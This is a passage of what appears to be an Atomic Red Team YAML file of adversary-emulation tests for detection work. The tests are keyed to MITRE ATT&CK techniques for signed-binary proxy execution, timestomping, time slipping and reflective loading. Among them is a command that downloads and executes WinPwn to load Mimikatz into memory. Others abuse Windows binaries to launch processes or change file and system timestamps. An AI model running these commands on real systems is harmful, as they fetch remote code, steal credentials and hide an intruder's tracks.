        name: command_prompt
    - name: Lolbas ie4uinit.exe use as proxy
      auto_generated_guid: 13c0804e-615e-43ad-b223-2dfbacd0b0b3
      description: |
        Executes commands from a specially prepared ie4uinit.inf file.
        Poc from : https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
        Reference: https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/
      supported_platforms:
      - windows
      input_arguments:
        Path_inf:
          description: Path to the cab file
          type: path
          default: PathToAtomicsFolder\T1218\src\ieuinit.inf
        Path_ie4uinit:
          description: Path to ie4uinit.exe
          type: path
          default: c:\windows\system32\ie4uinit.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'ieuinit.inf must exist on disk at specified location (#{Path_inf})

          '
        prereq_command: 'if (Test-Path "#{Path_inf}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{Path_inf}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/ieuinit.inf" -OutFile "#{Path_inf}"
      executor:
        command: |
          copy #{Path_ie4uinit} %TEMP%\ie4uinit.exe
          copy "#{Path_inf}" %TEMP%\ieuinit.inf
          %TEMP%\ie4uinit.exe -BaseSettings
        cleanup_command: |
          del %TEMP%\ie4uinit.exe >nul 2>&1
          del %TEMP%\ieuinit.inf >nul 2>&1
        name: command_prompt
    - name: LOLBAS CustomShellHost to Spawn Process
      auto_generated_guid: b1eeb683-90bb-4365-bbc2-2689015782fe
      description: |
        This test simulates an adversary copying `customshellhost.exe` and `calc.exe` from `C:\windows\system32\` to `C:\temp\`, renaming `calc.exe` to `explorer.exe`.
        Upon execution, customshellhost.exe will spawn calc.exe.
        Note this will only work on Windows 10 or 11.
        [LOLBAS](https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/)
        [BishopFox](https://bishopfox.com/blog/edr-bypass-with-lolbins)
      supported_platforms:
      - windows
      input_arguments:
        dest_path:
          description: Directory to copy files into
          type: path
          default: C:\test
      executor:
        command: |
          if (-not (Test-Path #{dest_path})) {
          New-Item -Path #{dest_path} -ItemType Directory
          } else {
          Write-Host "Directory #{dest_path} already exists." }
          Copy-Item -Path "C:\windows\system32\customshellhost.exe" -Destination "#{dest_path}\customshellhost.exe" -Force
          Copy-Item -Path "C:\windows\system32\calc.exe" -Destination "#{dest_path}\explorer.exe" -Force
          #{dest_path}\customshellhost.exe
        cleanup_command: 'Remove-Item -Path #{dest_path} -Recurse -Force

          '
        name: powershell
        elevation_required: true
    - name: Provlaunch.exe Executes Arbitrary Command via Registry Key
      auto_generated_guid: ab76e34f-28bf-441f-a39c-8db4835b89cc
      description: |
        Provlaunch.exe executes a command defined in the Registry. This test will create the necessary registry keys and values, then run provlaunch.exe to execute an arbitrary command.
        - https://twitter.com/0gtweet/status/1674399582162153472
        - https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/
        Registry keys are deleted after successful execution.
      supported_platforms:
      - windows
      executor:
        command: |
          reg.exe add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1 /v altitude /t REG_DWORD /d 0
          reg add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1\dummy2 /v Commandline /d calc.exe
          c:\windows\system32\provlaunch.exe LOLBin
        name: command_prompt
    - name: LOLBAS Msedge to Spawn Process
      auto_generated_guid: e5eedaed-ad42-4c1e-8783-19529738a349
      description: |
        Executes a process under a trusted Microsoft signed binary,mseddge. This test will spawn "calc.exe" as a child process of msedge.exe
        - https://lolbas-project.github.io/lolbas/Binaries/Msedge/
      supported_platforms:
      - windows
      executor:
        command: |
          $edgePath64 = "C:\Program Files\Microsoft\Edge\Application\msedge.exe"
          if (Test-Path $edgePath64) {
              $edgePath = $edgePath64
          } else {
              # Check 32-bit Edge installation path
              $edgePath32 = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
              if (Test-Path $edgePath32) {
                  $edgePath = $edgePath32
              } else {
                  exit 1
              }
          }
          & $edgePath --disable-gpu-sandbox --gpu-launcher="C:\\Windows\\System32\\calc.exe &&"
          sleep 5
          taskkill -f -im msedge.exe
          taskkill -f -im calc.exe
          taskkill -f -im win32calc.exe
        name: powershell
    - name: System Binary Proxy Execution - Wlrmdr Lolbin
      auto_generated_guid: 7816c252-b728-4ea6-a683-bd9441ca0b71
      description: Use wlrmdr(Windows Logon Reminder executable) as a proxy binary
        to evade defensive countermeasures
      supported_platforms:
      - windows
      input_arguments:
        payload_path:
          description: Path to the executable
          type: String
          default: C:\Windows\System32\calc.exe
      executor:
        command: wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u "#{payload_path}"
        name: powershell
        elevation_required: false
  T1070.006:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Romain Dumont, ESET
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611
      type: attack-pattern
      created: '2020-01-31T12:42:44.103Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1070.006
        url: https://attack.mitre.org/techniques/T1070/006
      - url: http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html
        description: 'Carvey, H. (2013, July 23). HowTo: Determine/Detect the use
          of Anti-Forensics Techniques. Retrieved June 3, 2016.'
        source_name: WindowsIR Anti-Forensic Techniques
      modified: '2021-04-29T14:49:39.188Z'
      name: 'Indicator Removal on Host: Timestomp'
      description: |-
        Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.

        Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: 'Forensic techniques exist to detect aspects of files that
        have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques)
        It may be possible to detect timestomping using file modification monitoring
        that collects information on file handle opens and can compare timestamp values.'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Metadata'
      x_mitre_defense_bypassed:
      - Host forensic analysis
      x_mitre_permissions_required:
      - root
      - SYSTEM
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1070.006
    atomic_tests:
    - name: Set a file's access timestamp
      auto_generated_guid: 5f9113d5-ed75-47ed-ba23-ea3573d05810
      description: 'Stomps on the access timestamp of a file

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        target_filename:
          description: Path of file that we are going to stomp on last access time
          type: path
          default: "/tmp/T1070.006-access.txt"
      dependencies:
      - description: 'The file must exist in order to be timestomped

          '
        prereq_command: 'test -e #{target_filename} && exit 0 || exit 1

          '
        get_prereq_command: 'echo ''T1070.006 file access timestomp test'' > #{target_filename}

          '
      executor:
        command: 'touch -a -t 197001010000.00 #{target_filename}

          '
        cleanup_command: 'rm -f #{target_filename}

          '
        name: sh
    - name: Set a file's modification timestamp
      auto_generated_guid: 20ef1523-8758-4898-b5a2-d026cc3d2c52
      description: 'Stomps on the modification timestamp of a file

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        target_filename:
          description: Path of file that we are going to stomp on last access time
          type: path
          default: "/tmp/T1070.006-modification.txt"
      dependencies:
      - description: 'The file must exist in order to be timestomped

          '
        prereq_command: 'test -e #{target_filename} && exit 0 || exit 1

          '
        get_prereq_command: 'echo ''T1070.006 file modification timestomp test'' >
          #{target_filename}

          '
      executor:
        command: 'touch -m -t 197001010000.00 #{target_filename}

          '
        cleanup_command: 'rm -f #{target_filename}

          '
        name: sh
    - name: Set a file's creation timestamp
      auto_generated_guid: 8164a4a6-f99c-4661-ac4f-80f5e4e78d2b
      description: |
        Stomps on the create timestamp of a file

        Setting the creation timestamp requires changing the system clock and reverting.
        Sudo or root privileges are required to change date. Use with caution.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        target_filename:
          description: Path of file that we are going to stomp on last access time
          type: path
          default: "/tmp/T1070.006-creation.txt"
      executor:
        elevation_required: true
        command: |
          NOW=$(date +%m%d%H%M%Y)
          date 010100001971
          touch #{target_filename}
          date "$NOW"
          stat #{target_filename}
        cleanup_command: 'rm -f #{target_filename}

          '
        name: sh
    - name: Modify file timestamps using reference file
      auto_generated_guid: 631ea661-d661-44b0-abdb-7a7f3fc08e50
      description: |
        Modifies the `modify` and `access` timestamps using the timestamps of a specified reference file.

        This technique was used by the threat actor Rocke during the compromise of Linux web servers.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        target_file_path:
          description: Path of file to modify timestamps of
          type: path
          default: "/tmp/T1070.006-reference.txt"
        reference_file_path:
          description: Path of reference file to read timestamps from
          type: path
          default: "/bin/sh"
      executor:
        command: |
          touch #{target_file_path}
          touch -acmr #{reference_file_path} #{target_file_path}
        cleanup_command: 'rm -f #{target_file_path}

          '
        name: sh
    - name: Windows - Modify file creation timestamp with PowerShell
      auto_generated_guid: b3b2c408-2ff0-4a33-b89b-1cb46a9e6a9c
      description: |
        Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT.
        To verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.
      supported_platforms:
      - windows
      input_arguments:
        target_date_time:
          description: Date/time to replace original timestamps with
          type: string
          default: 01/01/1970 00:00:00
        file_path:
          description: Path of file to change creation timestamp
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'A file must exist at the path (#{file_path}) to change the creation
          time on

          '
        prereq_command: 'if (Test-Path "#{file_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Path "#{file_path}" -Force | Out-Null
          Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null
      executor:
        command: 'Get-ChildItem "#{file_path}" | % { $_.CreationTime = "#{target_date_time}"
          }

          '
        name: powershell
    - name: Windows - Modify file last modified timestamp with PowerShell
      auto_generated_guid: f8f6634d-93e1-4238-8510-f8a90a20dcf2
      description: |
        Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT.
        To verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.
      supported_platforms:
      - windows
      input_arguments:
        target_date_time:
          description: Date/time to replace original timestamps with
          type: string
          default: 01/01/1970 00:00:00
        file_path:
          description: Path of file to change modified timestamp
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'A file must exist at the path (#{file_path}) to change the modified
          time on

          '
        prereq_command: 'if (Test-Path "#{file_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Path "#{file_path}" -Force | Out-Null
          Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null
      executor:
        command: 'Get-ChildItem "#{file_path}" | % { $_.LastWriteTime = "#{target_date_time}"
          }

          '
        name: powershell
    - name: Windows - Modify file last access timestamp with PowerShell
      auto_generated_guid: da627f63-b9bd-4431-b6f8-c5b44d061a62
      description: |
        Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT.
        To verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.
      supported_platforms:
      - windows
      input_arguments:
        target_date_time:
          description: Date/time to replace original timestamps with
          type: string
          default: 01/01/1970 00:00:00
        file_path:
          description: Path of file to change last access timestamp
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'A file must exist at the path ("#{file_path}") to change the
          last access time on

          '
        prereq_command: 'if (Test-Path "#{file_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Path "#{file_path}" -Force | Out-Null
          Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null
      executor:
        command: 'Get-ChildItem "#{file_path}" | % { $_.LastAccessTime = "#{target_date_time}"
          }

          '
        name: powershell
    - name: Windows - Timestomp a File
      auto_generated_guid: d7512c33-3a75-4806-9893-69abc3ccdd43
      description: "Timestomp kxwn.lock.\n\nSuccessful execution will include the
        placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify
        the time of the .lock file. \n\n[Mitre ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/defensive-evasion/4a2ad84e-a93a-4b2e-b1f0-c354d6a41278.yml)\n"
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: File path for timestomp payload
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads
      dependency_executor_name: powershell
      dependencies:
      - description: 'timestomp.ps1 must be present in #{file_path}.

          '
        prereq_command: 'if (Test-Path "#{file_path}\timestomp.ps1") {exit 0} else
          {exit 1}

          '
        get_prereq_command: 'Invoke-WebRequest "https://raw.githubusercontent.com/mitre-attack/attack-arsenal/bc0ba1d88d026396939b6816de608cb279bfd489/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1"
          -OutFile "#{file_path}\timestomp.ps1"

          '
      - description: 'kxwn.lock must be present in #{file_path}.

          '
        prereq_command: 'if (Test-Path -path "#{file_path}\kxwn.lock") {exit 0} else
          {exit 1}

          '
        get_prereq_command: 'New-Item -Path "#{file_path}\kxwn.lock" -ItemType File

          '
      executor:
        command: |
          import-module "#{file_path}\timestomp.ps1"
          timestomp -dest "#{file_path}\kxwn.lock"
        name: powershell
    - name: MacOS - Timestomp Date Modified
      auto_generated_guid: 87fffff4-d371-4057-a539-e3b24c37e564
      description: 'Stomps on the modification timestamp of a file using MacOS''s
        SetFile utility

        '
      supported_platforms:
      - macos
      input_arguments:
        target_filename:
          description: 'Path of file that we are going to stomp on last modified time

            '
          type: path
          default: "/tmp/T1070.006-modified.txt"
        target_date:
          description: Date to replace original timestamps with
          type: string
          default: 01/01/1970
      dependencies:
      - description: 'The file must exist in order to be timestomped

          '
        prereq_command: 'test -e #{target_filename} && exit 0 || exit 1

          '
        get_prereq_command: 'echo ''T1070.006 MacOS file modified timestomp test''
          > #{target_filename}

          '
      executor:
        name: sh
        command: 'SetFile -m #{target_date} #{target_filename}

          '
        cleanup_command: 'rm -f #{target_filename}

          '
    - name: Event Log Manipulations- Time slipping via Powershell
      auto_generated_guid: 7bcf83bf-f5ef-425c-9d9a-71618ad9ed12
      description: "Changes the system time on the computer to a time that you specify.
        It involves altering the system’s clock or adjusting the dates of files, affecting
        timestamp integrity within Event Logs. This technique can disrupt the sequence
        of logged events, complicating incident analysis and forensics. \nReference
        - \nhttps://detect.fyi/event-log-manipulations-1-time-slipping-55bf95631c40\nhttps://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/set-date?view=powershell-7.4"
      supported_platforms:
      - windows
      input_arguments:
        days_to_modify:
          description: Value to which system time will update
          type: string
          default: '3'
      executor:
        command: "try{ \n  Set-Date -Date (Get-Date).AddDays(#{days_to_modify})\n
          \ Add-Content \"$env:APPDATA\\slipDays.bak\" #{days_to_modify}\n}\ncatch
          {exit 1}\n"
        cleanup_command: |
          if(Test-Path "$env:APPDATA\slipDays.bak" ){
            foreach($line in (get-content $env:APPDATA\slipDays.bak)){
              Set-Date -Date (Get-Date).AddDays(-$line)
            }
            rm "$env:APPDATA\slipDays.bak"
          }
        name: powershell
        elevation_required: true
  T1620:
    technique:
      modified: '2024-02-09T18:49:08.428Z'
      name: Reflective Code Loading
      description: |-
        Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129)).

        Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the `Assembly.Load()` method executed by [PowerShell](https://attack.mitre.org/techniques/T1059/001) may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)

        Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - João Paulo de A. Filho, @Hug1nN__
      - Shlomi Salem, SentinelOne
      - Lior Ribak, SentinelOne
      - Rex Guo, @Xiaofei_REX, Confluera
      - Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics
      - Jiraput Thamsongkrah
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor for code artifacts associated with reflectively
        loading code, such as the abuse of .NET functions such as <code>Assembly.Load()</code>
        and [Native API](https://attack.mitre.org/techniques/T1106) functions such
        as <code>CreateThread()</code>, <code>memfd_create()</code>, <code>execve()</code>,
        and/or <code>execveat()</code>.(Citation: 00sec Droppers)(Citation: S1 Old
        Rat New Tricks)\n\nMonitor for artifacts of abnormal process execution. For
        example, a common signature related to reflective code loading on Windows
        is mechanisms related to the .NET Common Language Runtime (CLR) -- such as
        mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such
        as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs
        of arbitrary code execution from within the memory of potentially compromised
        processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - macOS
      - Linux
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Script: Script Execution'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      type: attack-pattern
      id: attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a
      created: '2021-10-05T01:15:06.293Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1620
        external_id: T1620
      - source_name: 00sec Droppers
        description: 0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved
          October 4, 2021.
        url: https://0x00sec.org/t/super-stealthy-droppers/3715
      - source_name: S1 Custom Shellcode Tool
        description: Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode
          Analysis. Retrieved October 4, 2021.
        url: https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/
      - source_name: Mandiant BYOL
        description: Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel
          Red Teaming Technique. Retrieved October 4, 2021.
        url: https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique
      - source_name: S1 Old Rat New Tricks
        description: Landry, J. (2016, April 21). Teaching an old RAT new tricks.
          Retrieved October 4, 2021.
        url: https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/
      - source_name: MDSec Detecting DOTNET
        description: MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET
          Tradecraft. Retrieved October 4, 2021.
        url: https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/
      - source_name: Microsoft AssemblyLoad
        description: Microsoft. (n.d.). Assembly.Load Method. Retrieved February 9,
          2024.
        url: https://learn.microsoft.com/dotnet/api/system.reflection.assembly.load
      - source_name: Intezer ACBackdoor
        description: 'Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a
          New Multiplatform Backdoor. Retrieved October 4, 2021.'
        url: https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/
      - source_name: Stuart ELF Memory
        description: Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without
          tmpfs). Retrieved October 4, 2021.
        url: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
      - source_name: Introducing Donut
        description: The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as
          Shellcode. Retrieved October 4, 2021.
        url: https://thewover.github.io/Introducing-Donut/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1620
    atomic_tests:
    - name: WinPwn - Reflectively load Mimik@tz into memory
      auto_generated_guid: 56b9589c-9170-4682-8c3d-33b86ecb5119
      description: Reflectively load Mimik@tz into memory technique via function of
        WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          mimiload -consoleoutput -noninteractive
        name: powershell
  T1564.011:
    technique:
      modified: '2023-11-06T20:14:51.609Z'
      name: Ignore Process Interrupts
      description: "Adversaries may evade defensive mechanisms by executing commands
        that hide from process interrupt signals. Many operating systems use signals
        to deliver messages to control process behavior. Command interpreters often
        include specific commands/flags that ignore errors and other hangups, such
        as when the user of the active session logs off.(Citation: Linux Signal Man)
        \ These interrupt signals may also be used by defensive tools and/or analysts
        to pause or terminate specified running processes. \n\nAdversaries may invoke
        processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        `-ErrorAction SilentlyContinue`, or similar commands that may be immune to
        hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue)
        This may enable malicious commands and malware to continue execution through
        system events that would otherwise terminate its execution, such as users
        logging off or the termination of its C2 network connection.\n\nHiding from
        process interrupt signals may allow malware to continue execution, but unlike
        [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish
        [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will
        not be re-invoked once actually terminated."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Viren Chaudhari, Qualys
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--4a2975db-414e-4c0c-bd92-775987514b4b
      created: '2023-08-24T17:23:34.470Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1564/011
        external_id: T1564.011
      - source_name: Linux Signal Man
        description: Linux man-pages. (2023, April 3). signal(7). Retrieved August
          30, 2023.
        url: https://man7.org/linux/man-pages/man7/signal.7.html
      - source_name: nohup Linux Man
        description: Meyering, J. (n.d.). nohup(1). Retrieved August 30, 2023.
        url: https://linux.die.net/man/1/nohup
      - source_name: Microsoft PowerShell SilentlyContinue
        description: Microsoft. (2023, March 2). $DebugPreference. Retrieved August
          30, 2023.
        url: https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_preference_variables?view=powershell-7.3#debugpreference
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1497.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Jorge Orchilles, SCYTHE
      - Ruben Dodge, @shotgunner101
      - Jeff Felling, Red Canary
      - Deloitte Threat Library Team
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0
      type: attack-pattern
      created: '2020-03-06T21:11:11.225Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1497.003
        url: https://attack.mitre.org/techniques/T1497/003
      - source_name: Deloitte Environment Awareness
        url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
          May 18, 2021.
      - source_name: Revil Independence Day
        url: https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/
        description: 'Loman, M. et al. (2021, July 4). Independence Day: REvil uses
          supply chain exploit to attack hundreds of businesses. Retrieved September
          30, 2021.'
      - source_name: Netskope Nitol
        url: https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique
        description: Malik, A. (2016, October 14). Nitol Botnet makes a resurgence
          with evasive sandbox analysis technique. Retrieved September 30, 2021.
      - source_name: Joe Sec Nymaim
        url: https://www.joesecurity.org/blog/3660886847485093803
        description: Joe Security. (2016, April 21). Nymaim - evading Sandboxes with
          API hammering. Retrieved September 30, 2021.
      - source_name: Joe Sec Trickbot
        url: https://www.joesecurity.org/blog/498839998833561473
        description: Joe Security. (2020, July 13). TrickBot's new API-Hammering explained.
          Retrieved September 30, 2021.
      - source_name: ISACA Malware Tricks
        url: https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes
        description: 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How
          Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.'
      modified: '2022-05-11T14:00:00.188Z'
      name: Time Based Evasion
      description: |-
        Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

        Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)

        Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)

        Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: 'Time-based evasion will likely occur in the first steps
        of an operation but may also occur throughout as an adversary learns the environment.
        Data and events should not be viewed in isolation, but as part of a chain
        of behavior that could lead to other activities, such as lateral movement,
        based on the information obtained. Detecting actions related to virtualization
        and sandbox identification may be difficult depending on the adversary''s
        implementation and monitoring required. Monitoring for suspicious processes
        being spawned that gather a variety of system information or perform other
        forms of Discovery, especially in a short period of time, may aid in detection. '
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Host forensic analysis
      - Signature-based detection
      - Static File Analysis
      - Anti-virus
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1218.003:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Signed Binary Proxy Execution: CMSTP'
      description: |-
        Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

